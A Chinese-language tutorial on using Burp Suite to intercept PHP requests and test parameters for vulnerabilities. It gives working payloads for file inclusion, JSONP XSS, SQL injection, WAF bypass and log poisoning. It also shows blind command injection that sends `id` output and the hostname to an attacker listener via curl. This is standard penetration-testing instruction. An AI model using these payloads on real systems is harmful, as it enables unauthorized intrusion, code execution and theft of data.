需手动配置浏览器代理至Burp的127.0.0.1:8080并确认Proxy监听启用,才能捕获PHP的$_GET/$_POST等参数流转;重点测试id、file、callback等高危参数,注意WAF、PHP配置及前端JS干扰,并结合日志、外带平台等交叉验证漏洞真实性。

怎么用 Burp Suite 拦截 PHP 请求测参数漏洞
Kali 自带 Burp Suite Community,但默认不自动代理浏览器流量,得手动配。关键不是装工具,而是让 PHP 请求真进 Burp——否则看不到 $_GET 或 $_POST 参数的原始流转。
实操建议:
- 启动 Burp 后,在 Proxy → Options 里确认
localhost:8080监听已启用(别选错网卡) - 浏览器手动设代理:HTTP/HTTPS 都指向
127.0.0.1:8080;Chrome 推荐用 FoxyProxy 插件切换,避免全局污染 - 访问目标 PHP 页面(比如
/login.php?user=admin),看 Burp 的Proxy → HTTP history是否实时出现请求行——没出现就说明代理没通,不是 Burp 问题,是浏览器或系统代理设置漏了 - 重点盯
GET参数(URL 里?id=1)、POSTbody(登录表单提交)、还有容易被忽略的X-Forwarded-For、Referer这类头字段,PHP 代码可能直接echo $_SERVER['HTTP_X_FORWARDED_FOR']
哪些 PHP 参数最常出漏洞
不是所有参数都危险,但以下几类在真实 PHP 应用中高频触发漏洞,且 Burp 里一眼能识别:
-
id、page、file、include、action这类名字,大概率对应include($_GET['page'])或fopen($_GET['file']),直接试?file=../../etc/passwd或?page=php://filter/read=convert.base64-encode/resource=index.php -
callback参数常见于 JSONP 接口,PHP 若写成echo $_GET['callback'] . '(' . json_encode($data) . ')';,就构成 XSS,Burp 里改值为alert(1)立刻验证 - 数字型参数(如
?order=1)别只测 SQL 注入,先看响应是否随值变化:改?order=999999999返回空?可能后端用了ORDER BY $order拼接,且没 intval() 过滤 - 注意 PHP 特有行为:
?id[]=1会变成数组,若代码用in_array($_GET['id'], $whitelist)但没校验类型,可能绕过白名单
为什么有些 PHP 参数在 Burp 里“测不出反应”
不是没漏洞,是请求根本没进 PHP 层,或者 PHP 早把参数过滤/重写了。常见干扰点:
立即学习“PHP免费学习笔记(深入)”;
- Web 服务器层拦截:Apache 的
mod_security或 Nginx 的 WAF 规则,会在到达 PHP 前 403 掉../、php://等特征,Burp 看到的是 403 响应,不是 PHP 报错——此时要关 WAF 或换更隐蔽的 payload(比如用 URL 编码绕过) - PHP 配置影响:
allow_url_include=Off时include('http://...')直接失败,magic_quotes_gpc=On(旧版)会自动转义单引号,导致 SQLi payload 失效,这些得先通过phpinfo()或报错信息确认环境 - 前端 JS 拦截:某些登录页用 JS 校验密码长度再发请求,你直接在 Burp 改 POST 数据可能被前端逻辑拒绝,得先禁用 JS 或抓包后重放
- Burp 的
Scanner对 PHP 动态参数效果有限,它依赖响应差异判断,而很多 PHP 漏洞(如无回显 SSRF、二次注入)响应完全不变,必须手动构造 + 观察服务端日志或外带平台(如curl your-collab.com/?d=${HOSTNAME})
测完参数后怎么快速验证是不是真漏洞
别只看 Burp 响应状态码或页面变化,PHP 漏洞常需要交叉验证:
- 文件读取类(LFI):用
?file=php://filter/read=convert.base64-encode/resource=/etc/passwd,响应里搜base64字符串,解码确认内容——比直接读passwd更可靠,因为不依赖文件是否存在,还能绕过 null byte 截断 - 命令执行类:发
?cmd=id,响应没回显?立刻开个监听端口:nc -lvnp 4444,再发?cmd=ping%20-c%201%20127.0.0.1%3B%20curl%20http://your-ip:4444/?a=$(%20id%20),看 nc 是否收到带 uid 的请求 - SQL 注入:
?id=1' and sleep(5)--+测延时,但注意 MySQL 5.6+ 默认关闭sleep()在普通用户权限下的使用,可换BENCHMARK(1000000,MD5(1)) - 最关键一点:PHP 的
error_reporting常被设为 0,错误不显示,但日志可能开着。如果能控制任意文件写入(比如上传点),优先往/var/log/apache2/access.log写 PHP 代码,再包含它——这比盲打稳定得多











